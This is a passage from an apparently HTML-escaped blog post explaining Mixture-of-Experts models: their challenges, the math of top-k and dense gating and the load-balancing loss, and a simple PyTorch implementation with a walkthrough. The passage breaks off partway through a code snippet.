&lt;p&gt;In production, deploying a large MoE model requires carefully coordinating hardware resources, data pipelines, and load-balancing techniques. Training an MoE system may involve more hyperparameters than a comparable dense model, including the number of experts, gating softmax temperature, top-k value, load-balancing penalty weights, and expert capacity. These factors can significantly affect performance, convergence speed, and final accuracy. When scaling an MoE model across multiple GPUs, designers must pay attention to network communication overhead. Token-based routing leads to collective operations that can become bottlenecks if not carefully optimized.&lt;/p&gt;
&lt;p&gt;Despite these complexities, MoE’s flexibility and computational cost savings make it a compelling choice for handling highly varied or large-scale tasks. However, Fine-tuning MoE models can be more delicate than dense models because the gating distributions or specialized experts may not adapt smoothly to a new domain without carefully applied load-balancing strategies. There can also be interpretability challenges since the model’s internal “expert structure” does not always map neatly to skills.&lt;/p&gt;
&lt;h3 id=&#34;challenges-and-considerations&#34;&gt;Challenges and Considerations&lt;/h3&gt;
&lt;p&gt;We have touched on most of these in this blog post, but it is helpful to outline the key issues and considerations to be mindful of when using MoE-based models:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Complexity: MoE models are significantly more complex (compared to traditional neural networks) and require substantial computational resources for training and inference.&lt;/li&gt;
&lt;li&gt;Training Instability: MoE models can suffer from training instability due to the discrete nature of expert selection.&lt;/li&gt;
&lt;li&gt;Load Balancing: Proper load balancing among experts is crucial for efficiently using model capacity and optimal performance.&lt;/li&gt;
&lt;li&gt;Computational Overhead: The gating mechanism introduces additional computational overhead, potentially impacting training and inference times.&lt;/li&gt;
&lt;li&gt;Interpretability Issues: The dynamic routing of inputs makes interpreting how MoE models arrive at their decisions challenging.&lt;/li&gt;
&lt;li&gt;Hyperparameter Sensitivity: MoE models have several hyperparameters that must be tuned for optimal performance.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Let’s define these mathematically before discussing practical considerations.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&#34;mathematical-formulation-of-moe&#34;&gt;Mathematical Formulation of MoE&lt;/h3&gt;
&lt;p&gt;Let $ x \in \mathbb{R}^d $ denote an input vector (a hidden representation from a preceding layer). We assume the system has $ N $ experts, with each expert $ E_i $ parameterized as a function $ E_i: \mathbb{R}^d \rightarrow \mathbb{R}^m $. The gating network $ G $ takes the same input $ x $ and outputs a vector in $\mathbb{R}^N$—essentially, a “score” or “weight” for each of the $ N $ experts. Finally, a combiner function $ C $ merges the experts’ outputs into a single output vector $ y \in \mathbb{R}^m $.&lt;/p&gt;
&lt;p&gt;Formally, we can write:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Input&lt;/strong&gt;: $ x \in \mathbb{R}^d $&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Experts&lt;/strong&gt;: $ E_i: \mathbb{R}^d \rightarrow \mathbb{R}^m \quad \text{for}\ i = 1, \ldots, N $&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Gating Network&lt;/strong&gt;: $ G: \mathbb{R}^d \rightarrow \mathbb{R}^N $&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Combiner&lt;/strong&gt;: $ C: \mathbb{R}^{N \times m} \rightarrow \mathbb{R}^m $&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id=&#34;top-k-gating&#34;&gt;Top-k Gating&lt;/h4&gt;
&lt;p&gt;Most contemporary MoE implementations use &lt;em&gt;top-k gating&lt;/em&gt;, which activates only the $ k $ experts with the highest gating scores. In this scenario, the summation is performed only over those top-$ k $ indices. If we denote $\text{top-k}(G(x))$ as the set of indices corresponding to the $ k $ largest values of $ G(x) $, then&lt;/p&gt;
&lt;p&gt;$
y = C\Bigl(\sum_{i \in \text{top-k}(G(x))} G(x)_i ,\cdot, E_i(x)\Bigr).
$&lt;/p&gt;
&lt;p&gt;By pruning all but the top-$ k $ experts per input, this design enforces &lt;em&gt;sparse activation&lt;/em&gt;: each input (or token) only “touches” $ k $ out of $ N $ experts at a time. This approach significantly reduces the computational load relative to using all $ N $ experts for every input.&lt;/p&gt;
&lt;h4 id=&#34;dense-gating-formulation&#34;&gt;Dense Gating Formulation&lt;/h4&gt;
&lt;p&gt;This refers to a version of MoE architecture in which &lt;strong&gt;all&lt;/strong&gt; experts contribute to the final output for each input rather than filtering out all but the top-k experts. Here, the gating network assigns &lt;em&gt;continuous weights&lt;/em&gt; to every expert, aggregating each expert’s weighted output into a final result. There is &lt;em&gt;no discrete selection&lt;/em&gt; to zero out certain experts based on gating. Fundamentally, this is the opposite of top-K gating.&lt;/p&gt;
&lt;p&gt;In the simplest version of MoE, where the gating network’s output is a set of continuous weights, the forward pass for one input $ x $ can be written as:&lt;/p&gt;
&lt;p&gt;$ y = C\Bigl(\sum_{i=1}^N G(x)_i ,\cdot, E_i(x)\Bigr). $&lt;/p&gt;
&lt;p&gt;Here, $ G(x)_i $ is the $i$-th component of the gating network’s output for $ x $ and represents the &lt;em&gt;weight&lt;/em&gt; (or probability) assigned to expert $ i $. Intuitively, if $ G(x)_i $ is large, expert $ i $ contributes more to the final output $ y $. The function $ C $ often takes the form of a simple weighted sum or concatenation-and-projection step, depending on the specific design.&lt;/p&gt;
&lt;h4 id=&#34;load-balancing-and-expert-monopolization&#34;&gt;Load Balancing and Expert Monopolization&lt;/h4&gt;
&lt;p&gt;As we saw earlier, MoE architectures introduce an *&lt;code&gt;auxiliary load-balancing loss&lt;/code&gt;*to load valance across all experts. This can be thought of as an additional penalty term that measures how evenly tokens (or batches) are distributed across experts. One common strategy is penalizing the variance in expert usage or encouraging each expert to receive roughly an equal proportion of examples. The gating network thus learns not only to minimize the primary task loss but also to spread tokens more uniformly.&lt;/p&gt;
&lt;p&gt;Mathematically, a typical load-balancing loss might look like:&lt;/p&gt;
&lt;p&gt;$ \mathcal{L} _ {\text{balance}} = \lambda \sum_{i=1}^N \Bigl(\frac{f_i}{\sum_j f_j} - \frac{1}{N}\Bigr)^2, $&lt;/p&gt;
&lt;p&gt;where $ f_i $ is the total number of tokens assigned to expert $ i $ in a minibatch (or the sum of gating probabilities if you’re using a continuous measure), and $ \lambda $ is a hyperparameter controlling the strength of this penalty. This ensures the model is incentivized to explore and train all experts over time.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&#34;example-pytorch-implementation&#34;&gt;Example PyTorch Implementation&lt;/h3&gt;
&lt;p&gt;Here&amp;rsquo;s a simplified Python implementation of an MoE model using PyTorch:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#8bd5ca&#34;&gt;import&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;torch&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#8bd5ca&#34;&gt;import&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;torch.nn&lt;/span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;as&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;nn&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#eed49f&#34;&gt;Expert&lt;/span&gt;(nn&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;Module):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;__init__&lt;/span&gt;(&lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;, input_size, output_size):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#91d7e3&#34;&gt;super&lt;/span&gt;(Expert, &lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;)&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;__init__&lt;/span&gt;()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;layer &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; nn&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;Linear(input_size, output_size)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;forward&lt;/span&gt;(&lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;, x):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;layer(x)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#eed49f&#34;&gt;GatingNetwork&lt;/span&gt;(nn&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;Module):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;__init__&lt;/span&gt;(&lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;, input_size, num_experts):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#91d7e3&#34;&gt;super&lt;/span&gt;(GatingNetwork, &lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;)&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;__init__&lt;/span&gt;()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;layer &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; nn&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;Linear(input_size, num_experts)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;softmax &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; nn&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;Softmax(dim&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;forward&lt;/span&gt;(&lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;, x):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;softmax(&lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;layer(x))
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#eed49f&#34;&gt;MixtureOfExperts&lt;/span&gt;(nn&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;Module):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;__init__&lt;/span&gt;(&lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;, input_size, output_size, num_experts, top_k&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#91d7e3&#34;&gt;super&lt;/span&gt;(MixtureOfExperts, &lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;)&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;__init__&lt;/span&gt;()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;num_experts &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; num_experts
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;top_k &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; top_k
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;experts &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; nn&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;ModuleList([Expert(input_size, output_size) &lt;span style=&#34;color:#c6a0f6&#34;&gt;for&lt;/span&gt; _ &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;in&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;range&lt;/span&gt;(num_experts)])
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;gating &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; GatingNetwork(input_size, num_experts)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;forward&lt;/span&gt;(&lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;, x):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        batch_size &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; x&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;size(&lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        gating_probs &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;gating(x)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        topk_vals, topk_inds &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; torch&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;topk(gating_probs, &lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;top_k, dim&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        expert_outputs &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; torch&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;zeros(batch_size, &lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;top_k, output_size, device&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;x&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;device)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;for&lt;/span&gt; i &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;in&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;range&lt;/span&gt;(&lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;top_k):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            inds &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; topk_inds[:, i]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            outputs_for_expert &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; torch&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;stack([&lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;experts[inds[b]](x[b]&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;unsqueeze(&lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;)) &lt;span style=&#34;color:#c6a0f6&#34;&gt;for&lt;/span&gt; b &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;in&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;range&lt;/span&gt;(batch_size)])
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            expert_outputs[:, i, :] &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; outputs_for_expert&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;squeeze(&lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        topk_vals_expanded &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; topk_vals&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;unsqueeze(&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        weighted_sum &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; expert_outputs &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;*&lt;/span&gt; topk_vals_expanded
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        combined_output &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; weighted_sum&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;sum(dim&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;return&lt;/span&gt; combined_output
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Example Usage&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;input_size &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;10&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;output_size &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;5&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;num_experts &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;4&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;top_k &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;model &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; MixtureOfExperts(input_size, output_size, num_experts, top_k)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sample_input &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; torch&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;randn(&lt;span style=&#34;color:#f5a97f&#34;&gt;8&lt;/span&gt;, input_size)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;output &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; model(sample_input)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#91d7e3&#34;&gt;print&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Output shape:&amp;#34;&lt;/span&gt;, output&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;shape)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;When you run this code, you should see the output shape printed as &lt;code&gt;torch.Size([8, 5])&lt;/code&gt;. This confirms that the model routes each input to the most relevant experts, processes the input through those experts, and combines their contributions into a unified output.&lt;/p&gt;
&lt;h4 id=&#34;code-explanation&#34;&gt;Code Explanation&lt;/h4&gt;
&lt;p&gt;This code defines a simple MoE model with a single gating network and multiple experts. The &lt;strong&gt;&lt;code&gt;Expert&lt;/code&gt;&lt;/strong&gt; class represents a single sub-module, the expert, a linear layer that transforms the input and forms the backbone of the MoE architecture. The expert takes the input of size &lt;code&gt;input_size&lt;/code&gt; and transforms it to &lt;code&gt;output_size&lt;/code&gt; using a fully connected (&lt;code&gt;Linear&lt;/code&gt;) layer. In the real world, each expert is designed to specialize in different transformations based on their training.&lt;/p&gt;
&lt;p&gt;The &lt;strong&gt;&lt;code&gt;GatingNetwork&lt;/code&gt;&lt;/strong&gt; class is the router that computes gating probabilities for each expert and determines which experts to activate for a given input. It takes the input size and the number of experts as input and outputs a probability distribution over the experts (&lt;code&gt;num_experts&lt;/code&gt;) using a linear layer followed by a &lt;code&gt;Softmax&lt;/code&gt; function. Higher probability values indicate that the corresponding expert is more relevant to the input.&lt;/p&gt;
&lt;p&gt;The &lt;strong&gt;&lt;code&gt;MixtureOfExperts&lt;/code&gt;&lt;/strong&gt; class combines the experts&amp;rsquo; outputs based on the gating probabilities and returns the final output. It takes the input size, output size, number of experts, and the top-k value as input. The &lt;code&gt;forward&lt;/code&gt; method computes the gating probabilities, selects the top-k experts based on these probabilities, and computes the weighted sum of the expert outputs to produce the final output. The &lt;code&gt;top_k&lt;/code&gt; parameter controls how many experts are activated for each input.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The input ( x ) is passed through the gating network to produce a probability distribution over the experts: &lt;code&gt;gating_probs = self.gating(x)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;The gating network selects the indices of the &lt;code&gt;top_k&lt;/code&gt; experts with the highest probabilities: &lt;code&gt;topk_vals, topk_inds = torch.topk(gating_probs, self.top_k, dim=1)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;For each of the selected experts, process the input:
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;expert_outputs &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; torch&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;zeros(batch_size, &lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;top_k, output_size, device&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;x&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;device)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;for&lt;/span&gt; i &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;in&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;range&lt;/span&gt;(&lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;top_k):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    inds &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; topk_inds[:, i]
